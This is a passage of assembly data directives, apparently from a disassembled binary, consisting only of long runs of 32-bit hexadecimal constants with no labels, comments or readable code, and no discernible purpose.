		dd 87005BBCh, 0DB4A817h, 0B7F2936h, 2112FBFCh, 6809E580h
		dd 0D3005B46h, 3C800C11h, 60D4752Fh, 0A3332618h, 90047DEh
		dd 127B4972h, 14483C4h,	582718A7h, 0E0EECDB8h, 810F4C36h
		dd 60EA4D01h, 0D342C28Dh, 0B05B00D4h, 9CFCDAF1h, 0FCA02A21h
		dd 6124A663h, 0EA0ED35Dh, 80D10BDBh, 4086C05Dh,	0F771383Fh
		dd 0B1A993h, 707F91A3h,	0A40015ABh, 0A34861Ah, 8B78A0h
		dd 0D0BD598Fh, 0BBE59654h, 0E8A69301h, 30165152h, 602D7470h
		dd 0CD8318EFh, 0DB009E81h, 0BF08A9FBh, 5FA56C82h, 0FFDBE0B1h
		dd 7B4C58h, 0B331DC71h,	348528h, 67CF050Ch, 0D3EDDE69h
		dd 15941A13h, 0C408B900h, 246519ADh, 2668CBFBh,	8CFA00E0h
		dd 10DBFCF4h, 40B3740Eh, 152FA0C3h, 835575h, 4E6E22BAh
		dd 0A14A3026h, 0A841D509h, 2DC98110h, 0B6D95AB5h, 1816C3C4h
		dd 786C9F38h, 5500E6ADh, 2933BEBBh, 0C096C8EFh,	17C4BA18h
		dd 29C06D79h, 8D1DAC99h, 938C5C6Bh, 3128D10Ah, 0A8B00B8h
		dd 5A4B0932h, 133EDF00h, 95BD6FE4h, 6E8F04CFh, 0C2920F0Eh
		dd 33E0140Ch, 2F00DBC4h, 0D48CB06Bh, 0A0E94Eh, 0E067F091h
		dd 88456DCAh
		dd 0B3A9E700h, 4AFF92B7h, 0A6CE12F4h, 4D60401Eh, 63D8E96Fh
		dd 19E1800h, 5791DF05h,	0CE760004h, 0F525D471h,	4909E365h
		dd 0A0D5A90Dh, 0EAD95108h, 0CAD5A009h, 52B7395Bh, 42DA92h
		dd 0A0B0760h, 0AB1C3505h, 2100028Dh, 0BDDDBE25h, 0A9FE00F7h
		dd 0A2C0DAE4h, 0CF00EDBFh, 4B1826Ah, 202B2B9h, 133394DBh
		dd 0D880BCA1h, 91C33CA3h, 55B35E00h, 37476BFFh,	0F9FD0072h
		dd 0A12B0560h, 94008793h, 0CCB280Eh, 751AE7Eh, 0E5A5E499h
		dd 6965E0C8h, 0AF003089h, 0F048E190h, 4A70CFh, 7F949132h
		dd 0ED517731h, 160EBDFEh, 208F5BFEh, 842162D8h,	0D880E72Eh
		dd 0CF0FD5D2h, 0AFA094D4h, 0AA00F5C8h, 4E6B3A72h, 65B840h
		dd 37431789h, 1577F76h,	84009AB0h, 0DBDA2156h, 64032A7h
		dd 53A69A15h, 3600E0C9h, 0BDCF1D48h, 0F888CEE3h, 72A705Ch
		dd 0E4FDE898h, 0A624801Eh, 0EE4C38BFh, 57F80054h, 9A489008h
		dd 4FF50085h, 4C7E0344h, 60126A0Dh, 340E6D96h, 0DF98C0E5h
		dd 771253h, 95B88540h, 0DA30B68Dh, 84EC8700h, 5018783Ah
		dd 5F5D00B0h, 276FE59Ah, 0E3709544h, 0B57ADB00h, 0C2429CCBh
		dd 0A15E2C18h, 1C3D00ABh, 8BE1C681h, 85CFEC00h,	4CC56105h
		dd 88171C86h, 3280BC16h, 0D19F4A27h, 46F8B5CBh,	0DFBCC901h
		dd 2D298D59h, 0D40BF0h,	7C51B3CEh, 63D2517h, 0B800D67Ch
		dd 35C99E38h, 0D590DEh,	71D25B67h, 0BDE06EFDh, 2EC15E00h
		dd 7CBC5395h, 189F03CFh, 44325FBh, 0A8A214A8h, 4AC5231Eh
		dd 0B4BB170Ah, 9864F200h, 8B2B38h, 69CD8635h, 1DB2686Dh
		dd 4F62B71Dh, 4200DA6Ch, 6A0243F3h, 5C6B0EAEh, 0C6A01AFFh
		dd 666220D8h, 2B4058h, 4E660E2h, 738A487h, 5244ACFEh, 4E67B021h
		dd 50003BC3h, 412DDA8Eh, 0DC2585h, 9744723Fh, 0A45F39D0h
		dd 912EE700h, 0E4200E55h, 4B670B7Dh, 830045C5h,	92CF245Ah
		dd 83483D03h, 0D3799EABh, 0E821E05Dh, 158100B2h, 0D3AF3637h
		dd 4F0FC898h, 41609C3Ah, 9B4AF4F8h, 0BAD424h, 163E03E2h
		dd 58C048C4h, 0D15D131Ch, 1F00CBD7h, 0B05A1764h, 0D65B00EEh
		dd 521F8426h, 9F0F02B8h, 0F8D3AD2h, 9C03003Bh, 68F93A9h
		dd 0DF428935h, 820E6030h, 3BE79ABh, 0A873F8Ch, 0C04977F2h
		dd 0F7A9010h, 4E873854h, 469A805Eh, 0A00BC3CBh,	91B54h
		dd 90C62358h, 84F65AB7h, 0EEC38E07h, 0F7611018h, 42C0BB81h
		dd 14C60FCCh, 7E034DDh,	0EDCA60D5h, 5FB1900h, 0D22AC90Ah
		dd 35B5002Eh, 0AEE6C8DDh, 9760C098h, 0ED498668h, 0A2B7B51h
		dd 0DE428C90h, 25E30254h, 60B0B0DFh, 20A192B1h,	0B7388025h
		dd 6E57103Ah, 3B0A002Bh, 0A279ECA5h, 0E3F89244h, 9B7B80B8h
		dd 172A6900h, 9F9C6BDFh, 0D18500B7h, 0A6CAEFABh, 2D00EA28h
		dd 0A9F231B6h, 3344BEh,	0C23216E1h, 0F6518666h,	0AEC3450Bh
		dd 3CCA00FEh, 247E2137h, 0A90C97h, 0AA7F3204h, 380015A0h
		dd 1AEFAE9Bh, 0BAADBBh,	5E4ECDC9h, 0C6918523h, 389F361Ch
		dd 0CE5CCFh, 0F3AE5A0Ch, 162C002Dh, 0CB9466E4h,	787BF0EFh
		dd 1741A701h, 3F0FD9F6h, 6D99E8h, 9561CA66h, 75DAA551h
		dd 599EF200h, 5C7C94Fh,	0C88B00EFh, 9F1382E4h, 547AC0A1h
		dd 0A618D801h, 4CBB3F90h, 678CA440h, 4DA500FBh,	279C45ACh
		dd 70006BA2h, 2C9AF411h, 3D950FAAh, 0CAA409B4h,	27003FD8h
		dd 0A60B5A72h, 0ADF29647h, 8D384500h, 0F182DC42h, 0C3D8E7BDh
		dd 0E21A0E26h, 0BA804FA4h, 0A1E13B33h, 0A285F203h, 88DF95D3h
		dd 0F80ADD42h, 0C691C368h, 0E3B093A5h, 0DF00A26Ch, 964F91B1h
		dd 1EAD027Ch, 4459381Bh, 0C0D86D19h, 1DCC14A2h,	79B1EB00h
		dd 17D03DA8h, 60C14953h, 1E2E0700h, 0E9B8549Dh,	934F4F0h
		dd 0B30EA0C5h, 0D885A3D1h, 0F7A0E8D4h, 0ED310004h, 0BEC38418h
		dd 44000E9Eh, 0E8428135h, 75B66870h, 516B05B2h,	8055021Bh
		dd 0D8742346h, 0BE4350C0h, 3B43D96h, 734D7F4h, 0E001D2D3h
		dd 591AB855h, 9983C4CDh, 0F20BC92Fh, 74D33900h,	0D2529A63h
		dd 3BA40033h, 4213CFE0h, 691C9768h, 16C3772Bh, 0F0F5BB34h
		dd 7DC1CB7h, 2015CB5Eh,	0A577D098h, 0EF001B95h,	8E4F2CCFh
		dd 0E2E5C32h, 3D542A14h, 0EC216B8Dh, 0C80051DBh, 1CB3ED25h
		dd 0F2019Dh, 6C1FBC15h,	86DD181Eh, 5D98F403h, 0A85F2C33h
		dd 0DA4B91Bh, 6D1464CEh, 0D07B6048h, 0E402EC00h, 686F1D71h
		dd 60CCE874h, 0F7D420A4h, 1507A1D8h, 82D30241h,	121703A0h
		dd 811406E6h, 909EC1F9h, 0BC956F2Ch, 2C834600h,	0E20B4DEDh
		dd 0C27F2D7h, 919B5F1Ah, 1007529h, 0CE069054h, 0C6189CF3h
		dd 200B3009h, 54E95503h, 0EBA60687h, 0B5E2D0C6h, 5D503DB1h
		dd 819B6F80h, 0E99EBC9Dh, 0A63072FCh, 893B8110h, 0B3CA00E3h
		dd 9291FD8Dh, 2EE808D8h, 956E1000h, 0F3E384D0h,	0CF8F00D3h
		dd 1C83DB5Bh, 50004D06h, 8042251Bh, 50B11401h, 0F6E30C3h
		dd 67D72D9Bh, 70518807h, 0C4CD8A4h, 5F3920E4h, 0D179807Eh
		dd 0E32495D6h, 55EB00E0h, 0CE803F9Ah, 35007566h, 632EB8D9h
		dd 70021A58h, 985900E0h, 80DAEADDh, 814AA673h, 7500C2FCh
		dd 58FD88FAh, 1C0FD25Ch, 86C3DA97h, 3D4F118h, 40C42702h
		dd 1006A10Bh, 24AA5D1Eh, 0FBC60E28h, 3560AD1Ah,	34A9DB5Fh
		dd 95AE1203h, 0CFD151EBh, 0CBDC3E20h, 0DE08CCF9h, 0C413F621h
		dd 7200DA51h, 0A0CE4730h, 300B508Dh, 0B632409Eh, 836031D8h
		dd 0EF0486DCh, 0F1DBC551h, 8A20D362h, 31151DEh,	0FC9C010Fh
		dd 7580996Eh, 0D807CC4Dh, 0C1423AA2h, 2C3970C0h, 19D06119h
		dd 80115Ah, 30381AF0h, 0B550376Eh, 24008E54h, 486B9A18h
		dd 0C1D4A349h, 0AFEF1E08h, 230730B5h, 0ACE6FC00h, 44E5B65Eh
		dd 584E61DFh, 0F46F75BEh, 570E6861h, 870B5840h,	0D4B0A994h
		dd 0B7F403D2h, 0D100F058h, 0C3E17C1Ah, 76597350h, 0B6AC00B5h
		dd 0FF5BCE10h, 0C709988Bh, 7FAE335h, 0D1297B8h,	2D9A803Ch
		dd 0C5AA30h, 3AB694ECh,	0A0625945h, 0CA1728E2h,	0EB10DEA4h
		dd 13FFEE04h, 0B820C37Eh, 0F34A95h, 0D7E408C4h,	411BB69Dh
		dd 0C929DC03h, 0E0F65546h, 0E63160ACh, 0F89D7196h, 191C605Bh
		dd 0D5498887h, 306BAF0Eh, 7CB383D2h, 0C021DE53h, 1D3A310h
		dd 0BB3E5650h, 5D007BEAh, 0CDFA7405h, 1FC67830h, 0F53D8Ah
		dd 52DE68A8h, 0B3F8A569h, 27B06EEFh, 0E9F06Dh, 0C3AD4AD5h
		dd 0FE07D2D1h, 0AFD0CD1Fh, 84F5003Ch, 0A3953F0Ch, 40A0D0ABh
		dd 98316C1Fh, 15F9B86Bh, 0A37BE000h, 12AB17AAh,	1C901A0h
		dd 0BE07AE20h, 0EBC88F73h, 210010D1h, 35B41AD2h, 9D00AB0Bh
		dd 0B831AA10h, 14A5640Ah, 3457BEDEh, 8ADDEE00h,	9CBCF53h
		dd 0D563F9C1h, 0D0FCFBF2h, 0D29D1EA7h, 3203FE02h, 0F033CF91h
		dd 5203AB92h, 314E00D9h, 0D361FF2Eh, 280FB3A3h,	8FB93E75h
		dd 77CB9F24h, 2AB778C8h, 3ACB402h, 2C7C5486h, 10007A3Eh
		dd 70AA5CAFh, 18C0A0F1h, 1956CFC6h, 520C11B3h, 0C08E4588h
		dd 1B18183Ch, 0A8AA80ACh, 0D7CA4B01h, 6A67E42Eh, 74A69840h
		dd 0BD241527h, 21C824D2h, 0FA41FF64h, 8009F11Dh, 0A86EEF18h
		dd 83330Dh, 0D1886126h,	23BD72BCh, 64A73F00h, 9CADCD9Ah
		dd 6E150199h, 9EF33D33h, 6090818Bh, 0A56BA8BAh,	0F209ADCh
		dd 2199A3ECh, 7D1E44Ah,	6B7E7586h, 76CA6480h, 0B5A37BE8h
		dd 912947E0h, 494258AEh, 7C06F021h, 28BEAFh, 8A86739Eh
		dd 6A943167h, 70087491h, 3BD401F5h, 50B3CA29h, 0A03DB9BCh
		dd 48C13A72h
		dd 7465686Dh, 38AD5420h, 0DF3CFB2Ah, 1655F986h,	32001861h
		dd 0F3CD723Dh, 1284F6ACh, 0BB4D2274h, 941C71Ch,	8961A4BEh
		dd 721A2824h, 55F3E8Eh,	21D22312h, 25A51E74h, 78904440h
		dd 0B52031F4h, 2A2D0665h, 20A8468Bh, 81A38A0Ch,	0EE706916h
		dd 98260305h, 0B02D9B68h, 41FCE044h, 33B8D500h,	61F252AEh
		dd 0AC5D70FDh, 0E47D1034h, 0E2668064h, 19035C61h, 28D56C56h
		dd 9DCC2040h, 0B8BABF07h, 0A775D97Fh, 0D8589C00h, 9F3DCDE9h
		dd 2FD4EEE0h, 0A8C2B714h, 0A3871C8Ch, 2FAC4189h, 0D068A06Ch
		dd 9549B62h, 5AA47F1Bh,	17BF3F00h, 0E70F744Fh, 8AB329h
		dd 0AB7A2EC6h, 0D03025Eh, 6673AC37h, 50025C89h,	0B404F448h
		dd 49EAC05Fh, 0BEC5684Fh, 7CC47852h, 284A1800h,	0F862E836h
		dd 5020E1B9h, 0CAB20070h, 8AFBDF14h, 5C308601h,	0CBAFB90Dh
		dd 643A2AEAh, 0B9230280h, 6F274F8Ch, 15538868h,	511874E4h
		dd 2F807B5Ah, 2AA90963h, 8061227h, 0F20848AFh, 80D03ADFh
		dd 3715520Dh, 27282687h, 9B0E1446h, 0DF3DC5A3h,	8368E23Bh
		dd 6D4D23B4h, 205F8020h, 81F7AE2Fh, 1CF151E8h, 8480AF3Eh
		dd 0A83423A4h, 550064EFh, 0FA5691DCh, 41BB833h,	49789E3Eh
		dd 0F9C9408h, 30CFCD20h, 5634B980h, 0D10F3257h,	0CC557433h
		dd 3DB16Dh, 0DD3E2112h,	79BEFB0Ch, 21820E7h, 52EEC100h
		dd 1A7726DCh, 710602BDh, 1253969h, 0A822B860h, 99C3110h
		dd 0E56FA602h, 360D43Bh, 0D6726A59h, 0BF2903F8h, 0DC00E850h
		dd 9C5D82A2h, 0AA07EA1h, 0D1B9D0F2h, 0B2CA81BCh, 4CBD9650h
		dd 0A05939FCh, 0D5BF0310h, 0A05683E6h, 20598D6h, 0CE026625h
		dd 2040CF50h, 6402AE3Fh, 186CBA1Eh, 49A183D6h, 73E79FA0h
		dd 98AF9342h, 403FBEB0h, 9706CADFh, 0E4F123BCh,	60E0EB10h
		dd 4E179A0h, 65D2A99Eh,	0C05088BDh, 7E31AD01h, 7B820CACh
		dd 3C57C500h, 0D0EB2439h, 4E004DB0h, 3699E923h,	34F2D303h
		dd 0C741A7DEh, 12328070h, 0E52886D7h, 4E00B30Bh, 3EEA21E2h
		dd 50998594h, 3C9CD048h, 9801F37Fh, 66AFA064h, 601AD150h
		dd 6A406CF8h, 1C5F0D22h, 3411D4B4h, 0C03EBCB4h,	1421A8EAh
		dd 0C1039F03h, 2A5E6433h, 0ACB030h, 8729091Dh, 0E12E1499h
		dd 98D4B900h, 0C96A01CEh, 24F907DDh, 49DF3028h,	89D13380h
		dd 0C90C387h, 664160Fh,	3FC05D01h, 0C13C7EAh, 0E8B09079h
		dd 40EB0088h, 5CC6D26Ch, 9301A1C9h, 0B6587B3Ch,	0F4FC0318h
		dd 40A30FB5h, 28136F68h, 0FF2CDAE0h, 5B628088h,	0D4FC48E0h
		dd 1CE74875h, 13932849h, 7185F12h, 96C84919h, 34AB300Eh
		dd 8AAE4FE4h, 9841E862h, 8C20C595h, 683448ACh, 3D242490h
		dd 4BBF02A0h, 461D22Dh,	22B6029Bh, 206452F3h, 0CB4F420h
		dd 0A0633313h, 49D86A28h, 92E3CD28h, 73F480C8h,	69876351h
		dd 0D2E231AEh, 559244E0h, 20841532h, 88782C2Ch,	22452C98h
		dd 9B3199BBh, 177B5828h, 0EC81C284h, 57F162EEh,	9E119B5h
		dd 388F654Ch, 86FB0784h, 104C0C3Ch, 216E1D24h, 4D004064h
		dd 0F463A6A1h, 5888A42Eh, 0BA87003Dh, 52E9CF4Dh, 0C9A9C02h
		dd 744CAC62h, 0E9EE5402h, 0CEC3755Ah, 0FA660328h, 0E1317BBDh
		dd 39EADBA0h, 0ACD06A6Ah, 0A1D0780Bh, 2833FFD0h, 0FC006832h
		dd 241AAE0Fh, 0C86BCD2Dh, 0BE140030h, 9ACF6E8h,	60316843h
		dd 0F9797420h, 73091BA3h, 91BE19A4h, 27108424h,	24928C50h
		dd 8435033Dh, 21CE72AAh, 403C68D8h, 31E355Eh, 0C9DA8C2Ah
		dd 0B1504978h, 7B978610h, 101EEE26h, 94CF984Ch,	6830891Ch
		dd 0CA4FA8A0h, 0D0006CFCh, 7B165061h, 0FEF22606h, 0D9B9D85Fh
		dd 0AC00A0B3h, 3FC9662Eh, 7C24FB3Ah, 4EEF24BAh,	34F343C0h
		dd 9098D900h, 0B9865092h, 402B18A0h, 0A9E4897Eh, 0B30EB8B8h
		dd 0F479A838h, 0E1D6056Ch, 508815B6h, 0AE1E052Dh, 0C492285Dh
		dd 6B24CCD4h, 9028B0DEh, 5DA0B200h, 6F5F8624h, 0AF27E822h
		dd 351718h, 0B3ECBFDCh,	3F03522Bh, 50ED7B14h, 16F0A3EEh
		dd 2AA3F1h, 79AB40E0h, 672E5402h, 0D40030A5h, 2CC024AEh
		dd 0FB3500E6h, 0AC4A8626h, 7F6008DBh, 0BCEC9CE9h, 12313E37h
		dd 0AB2E4052h, 0FC3B0094h, 15FB8BA9h, 0B0C4B95Ch, 8267380Dh
		dd 0E204F8E4h, 0D592FB2Ch, 0C8E864C2h, 5CEDC0F0h, 0F4078819h
		dd 5533B695h, 0FC5D5Eh,	3DED28B9h, 6800A952h, 20A467A8h
		dd 1F067FDFh, 16C71A2Ah, 26F04457h, 405FC52Dh, 0DCB97D64h
		dd 53247397h, 1A80D86Ah, 9951BDF9h, 486CB0BAh, 2601D7EBh
		dd 0CAA7EFB3h, 0F6E0DBE9h, 0FA2A7E4Fh, 0A24CA4AEh, 50E800B4h
		dd 3EBCCE99h, 238C7EAh,	125851B1h, 0A9577066h, 16D03A50h
		dd 0F84608A6h, 0EB147002h, 0B0434CE9h, 0B80AA7F8h, 40A6CE00h
		dd 26033301h, 27830346h, 9F19A8C9h, 602020DDh, 0E401A714h
		dd 0C9AEAC9Eh, 1C700FF0h, 3E750027h, 74D3067Ah,	6F0F9993h
		dd 40D2BD3Bh, 0F6A47F1Ah, 0D4BA5459h, 0CAE01954h, 30D119C1h
		dd 0B34305FCh, 0F62AF21h, 20300B0Bh, 3028EA97h,	2711C0BFh
		dd 3B28D24Dh, 0D8B250E8h, 0AA0E15EBh, 7158A8ABh, 2002E425h
		dd 88E1C984h, 1ADC207Eh, 0F449E902h, 214256D7h,	30684839h
		dd 0B200E370h, 0A5F506E1h, 0F0752867h, 2A5701B3h, 0D1CDFF2Eh
		dd 25E860A3h, 0D8785B30h, 0CBBD244Fh, 0B002D849h, 94815673h
		dd 9F2557B8h, 98C06138h, 72A888CDh, 15C005BAh, 325E53DFh
		dd 93307808h, 2EAE3E03h, 0C50885Ch, 0B42000A6h,	6CDA5FFEh
		dd 0DB29C91Fh, 17C24457h, 16D4C529h, 70C800A9h,	49D4E2EEh
		dd 0CE07F87Ch, 5317D13Ah, 0C80CBCE5h, 84B13832h, 1B6E2805h
		dd 0C488A9DEh, 5C2E3959h, 0D0AB4195h, 0C98CA002h, 0C0711956h
		dd 0E0104E65h, 2BCC43D4h, 2B64B06Dh, 470A489h, 0AEA4A8DEh
		dd 384F60A3h, 305973Eh,	0FB33741Fh, 0CE186600h,	0A43CB0C8h
		dd 323E2108h, 0BA3A0881h, 88A8C928h, 12EAFAB0h,	0F461BC8h
		dd 0BE0D5914h, 0A4D040FEh, 5092E87Ch, 9F13DE02h, 4033D482h
		dd 253B2CFCh, 0DC944119h, 6604E6F4h, 0DBD032A5h, 0D37BB0D1h
		dd 0F4874989h, 0F83F6010h, 77006AEEh, 70BFA6D0h, 7A676192h
		dd 17A2FCA8h, 1CAD2B11h, 53F740C0h, 2379A659h, 0A56FEB09h
		dd 0C3EA0E78h, 0F6DFD031h, 83F60E68h, 0F0E91103h, 278760C1h
		dd 8A7F10B0h, 0F031CF04h, 754F6DBh, 0CDFA65ECh,	17442189h
		dd 0E0313443h, 0B2250060h, 912851B8h, 827ED707h, 4026B110h
		dd 7E4AFB04h, 8D5A03F7h, 0AE1291Bh, 93B1858h, 0C0FEFFCEh
		dd 2CA518C0h, 806C9569h, 0B9C3A30Eh, 4602831h, 0BB622691h
		dd 37A8003Fh, 0B5E2730Ah, 0AA00E87Bh, 6D3C5D31h, 29E6DEA5h
		dd 42C0FF42h, 800E0D01h, 965350BFh, 5CAC000Ah, 746CE3D2h
		dd 590BB187h, 493A6B2h,	0C8D09A10h, 0A05BC0FEh,	5205B918h
		dd 318830E7h, 0CD8A3C87h, 0A3C021F9h, 0E8D7AB81h, 5A0F71h
		dd 0A811CAF0h, 543CC8EFh, 84D0A554h, 9B058590h,	47FC3A60h
		dd 2EC99001h, 0A071CD4Bh, 5F2C1888h, 0FBB15341h, 20852F2h
		dd 24E3BCAFh, 44C9D727h, 94006D5Dh, 0CC6E1653h,	430300DBh
		dd 209326Ah, 4B216802h,	0D0D1EBB1h, 60A405A4h, 450A34A8h
		dd 7FBFD8h, 7DF8AE08h, 6560F152h, 0EFC5091h, 6349013h
		dd 79426B73h, 0BF01581Bh, 627EE6D1h, 0E872E751h, 10CA7B00h
		dd 679C26A7h, 4E1C0E7Ch, 0E58042A6h, 0DC5634ACh, 0DA571FEFh
		dd 4AE80AC0h, 61660080h, 0AD472E7Ch, 6EF88C4h, 59FDF0F4h
		dd 0D300D0CAh, 5FE7180Fh
		dd 76070766h, 75FA34D1h, 521B046h, 26E8A065h, 647480F3h
		dd 0D839B9DCh, 0FEBC8039h, 0F141371Dh, 0E0EF00ADh, 5732E4F2h
		dd 0B1000355h, 2C82A54Fh, 763CE879h, 74310936h,	988CE3A1h
		dd 3D0C6528h, 20ED9C88h, 0B4EC79h, 0AE06C977h, 1977098h
		dd 9F209174h, 0ACCE003Ah, 173D0C77h, 2509E446h,	0F020FF45h
		dd 0EBB20094h, 0F13C70CCh, 6851B73Dh, 1623F0EDh, 58FC1A0Ch
		dd 7F6108Eh, 689E2757h,	60EEA734h, 4731413Eh, 9CF87A7Fh
		dd 59895100h, 71433C83h, 78D600B0h, 0D05A8A3h, 0FC0F1ED3h
		dd 20F12A86h, 0D55CA1C5h, 0B6CB18EFh, 6C5228D4h, 1A15C11Ch
		dd 748C211Eh, 604E083Ah, 5B520D5h, 0BF0337C1h, 0C096C65Fh
		dd 0C966F0CFh, 1FAAFA04h, 8073559Dh, 60F46570h,	4B48E971h
		dd 0DF420010h, 9AE6F2A3h, 0A0C2602Dh, 17BEF829h, 0A261C91Ch
		dd 1E9C9D07h, 28F29EC3h, 7CFD4570h, 7B11DF65h, 0EAF6958Fh
		dd 1E03186Fh, 0D6E11AAEh, 0E02080F5h, 5CC79504h, 0FCD000B7h
		dd 0C251BB6Ch, 7437C9E5h, 0A69F8831h, 0D80B97Ah, 0B4CC1EBh
		dd 0ECB0F0B8h, 9F18C560h, 0C17BE230h, 0AF95EB0h, 0EF4800B7h
		dd 0C8B01AA2h, 580A897h, 0F33991BDh, 0B459E600h, 0D27B2E8Bh
		dd 1699875h, 381D49C3h,	0C4B9D40Dh, 0A2501B52h,	110197F9h
		dd 91F99A4Dh, 57D037FEh, 3C3B1F17h, 0DC1007BEh,	0A68009Fh
		dd 0BC031B3Dh, 0FC978E01h, 3E77B01Ch, 2BE075Ah,	200C4F88h
		dd 7069992Fh, 89A7E90Eh, 2215E0EBh, 0CAB757h, 0C8E10765h
		dd 2072E5EAh, 8000F7Fh,	96A5CD53h, 0C03AFAh, 0B08F9CFEh
		dd 0F62F21BEh, 3818021Eh, 0EE5A783h, 369BE082h,	981C0ED1h
		dd 2D8F5F67h, 57BA803Fh, 9499AD16h, 557D8903h, 0C038715Dh
		dd 1F66A90Ah, 403F6325h, 0F41654F0h, 70032905h,	17973BEDh
		dd 164D3ADh, 4C3CEE40h,	0F4449249h, 0A9005D53h,	0D880051Ch
		dd 3ECA3565h, 0B903CD5Ch, 0AE71B59Fh, 0D7EE7901h, 5C17BAB2h
		dd 0B4B3118Fh, 0E5783B80h, 560CA429h, 80EFBC3Fh, 0D8060042h
		dd 0A6B645D6h, 0DB3FA372h, 0FD28C3Bh, 0FF413Dh,	0CA8DC197h
		dd 0D448CB71h, 95BC661Dh, 53CC6F00h, 0E0AD8891h, 75B60C92h
		dd 95396018h, 97069E00h, 3830BB39h, 314C0E84h, 5C47216Ch
		dd 3583900Ch, 0BE033F73h, 0BA54EEAAh, 0AE5A82Fh, 265D7075h
		dd 0D971F2h, 0E3098115h, 6006BD02h, 200B0DBAh, 1C39E2F9h
		dd 686CFD80h, 60EE78A0h, 0D91E518Ah, 3B3A3C07h,	56BD3003h
		dd 2C58D6Eh, 0AEC91652h, 0DE86CDDBh, 0B900D0BFh, 0EC910FEAh
		dd 4C66B30h, 0A3BF417h,	89A10C0Dh, 98BA2AA7h, 0F34001A0h
		dd 4B4AC46Dh, 2CB12FD4h, 5850BE4h, 0A3C07A13h, 0CC5E22h
		dd 5FE53C44h, 6A003904h, 0D12D1499h, 3FA75503h,	0B7870B17h
		dd 40D3ED0Dh, 0EA91912h, 9DE6803Ch, 3874F96h, 0E3E02ED5h
		dd 74DB0A4Ch, 5F35038Ch, 45E5A946h, 0F4257D8h, 60FFD600h
		dd 0A612863h, 3C4971FBh, 52186A35h, 5D328E6h, 44B10E40h
		dd 3184F75Eh, 0AF512B18h, 0C298802h, 84939061h,	0EB46C05Dh
		dd 99007804h, 0D112374Bh, 0A01AE7h, 28ED5879h, 0F5CB1790h
		dd 1E0B65F0h, 0EBEC3Bh,	2283F13Dh, 3FE042h, 0B8DDEDA9h
		dd 26E36F56h, 0DE76DAF6h, 0F0F2E513h, 0E40A5900h, 487B22h
		dd 0BFBBB3BCh, 56264121h, 36FEE900h, 0D23A241Dh, 0B9621292h
		dd 0E6AE0133h, 6A5E1B4Ah, 2ABED980h, 907A0045h,	0E9F5B9A7h
		dd 21F692Fh, 3B406A5Ah,	7F6E277Eh, 0FB0900CBh, 0E12F2E92h
		dd 0A203C14Ah, 0EB8D98F1h, 141C034h, 255E00A9h,	0AF54DE1Fh
		dd 2400F6D5h, 0EB7354Bh, 860427h, 61F7DA7Bh, 0BFD01D34h
		dd 0FB41691Dh, 0BDFFB740h, 0CE2E14h, 0C20499F6h, 0C18DF45h
		dd 7411FC1Eh, 52E0DD40h, 60A746B8h, 0DAC47054h,	71003E23h
		dd 0A0539DEFh, 0F35E6B0h, 345EAEA9h, 33AC1442h,	9A3B1040h
		dd 301DE400h, 2C83E1C5h, 228F1E50h, 9D250072h, 9446CC44h
		dd 660EE91Ch, 14950FC0h, 17F5EADh, 9B449867h, 0F4170618h
		dd 0DB398424h, 7582C87Ch, 0A03C9500h, 4F014CB3h, 8F04383Bh
		dd 9B530B00h, 0DD9B7E4h, 8E6E7F00h, 1536B3C4h, 7A3803EAh
		dd 0C51FBEC7h, 0A686A888h, 1E71E200h, 0C1F5A048h, 1CD000EAh
		dd 0DAF84597h, 9003A91Fh, 6A46615Ah, 7DE18FC4h,	35702E41h
		dd 390200A4h, 196B3EB8h, 0A20067F1h, 93E23B95h,	64BF18h
		dd 0C32DD569h, 0E41C8A7Fh, 0FECCD900h, 0B732906Dh, 66831F5Eh
		dd 19BA0773h, 609D80B5h, 280046A0h, 0A6C16180h,	925091h
		dd 0D3F4E121h, 0E6E39622h, 0F70E0D98h, 40697B62h, 5F33C4E9h
		dd 4DED3DD9h, 74870C00h, 9C976799h, 0CDC9FC01h,	907D910Dh
		dd 1FD7E0h, 6B412D27h, 0AFF03D66h, 4DCBEE00h, 0E132ACC3h
		dd 248D1F6Fh, 365AC31Fh, 0D7F8062Eh, 9B002C95h,	0CFAC021Ch
		dd 0E663111h, 0B1D31063h, 40F4A2A0h, 0F81F20A0h, 9B40E1BDh
		dd 0B6D1937Ah, 3B2206EDh, 0F86DCA9Dh, 8019E33Bh, 1214CE4h
		dd 5ABC69h, 4807872Ch, 0CB810361h, 0B955D1Dh, 1EA7B0C0h
		dd 770E380Fh, 0DF720791h, 3051B29Ch, 5ABAF205h,	21D45400h
		dd 9294A99h, 0E4660027h, 3B0357DFh, 0FA002DAFh,	0FC18F25Bh
		dd 796A1DE7h, 0E08B00D7h, 0C1AB834Fh, 0AD03950Bh, 7D1EA4BAh
		dd 0BE9FE060h, 82500039h, 0B112B9E1h, 0DD07987Ah, 4A81C938h
		dd 0DE7C6D71h, 3D6B7C30h, 8700EDC5h, 363E0C3Dh,	7600A432h
		dd 2CDD601Dh, 55E2CBh, 7771EAAh, 48C57A02h, 0C7CFB800h
		dd 8E0C50C0h, 0CEC11E76h, 0A3E6043Ch, 9B15C0D9h, 0DC1D6DFCh
		dd 0D6C0EC94h, 81C0946h, 0A61100B2h, 77C0415Fh,	0B9FE8525h
		dd 0FB319E0Eh, 6BCE00Fh, 90F69701h, 653B00F8h, 0EE7F367Eh
		dd 3501C06Bh, 297DEF44h, 0D0D4FA61h, 39124C28h,	932E3F07h
		dd 24C09F34h, 0D983B558h, 0EAD60C07h, 7A5031D1h, 5C131Ch
		dd 0C22C6FDBh, 159AD56Bh, 18A12303h, 90F69E84h,	2E0ACB3Ah
		dd 95C7473h, 870066E1h,	0C8A54D22h, 43A12C07h, 29D71Bh
		dd 50308ECh, 0B6900CDh,	9DE68B8h, 5F003822h, 7F3B4780h
		dd 7D2BE12h, 718652C3h,	0B27DC34Fh, 0F3F784C0h,	0EC7C677Dh
		dd 1C24301h, 209D816h, 7B5E470h, 0E29EA907h, 629AB01Dh
		dd 0F617D93Eh, 0D4008EE8h, 0F9111EF7h, 678D1F68h, 7FF280A8h
		dd 0AFC503B2h, 704BEC2Ch, 0D707C304h, 8D6B0080h, 0D1AB05F8h
		dd 0C0E81D37h, 55683D7Bh, 0C3DB9400h, 777615B3h, 7C78DEh
		dd 0D9CB9016h, 42A11832h, 0F9AE6600h, 47DA3D2h,	0F88107D6h
		dd 7114E42Dh, 0DD2646BFh, 0A0CFE037h, 0EF1ACC0h, 3B2138Fh
		dd 83345867h, 0DFCB4CF9h, 1F0BC0C0h, 87CAFC0Fh,	97E96039h
		dd 6CCF35h, 5923162Ch, 79159F0Ch, 6501A100h, 9B70D8CAh
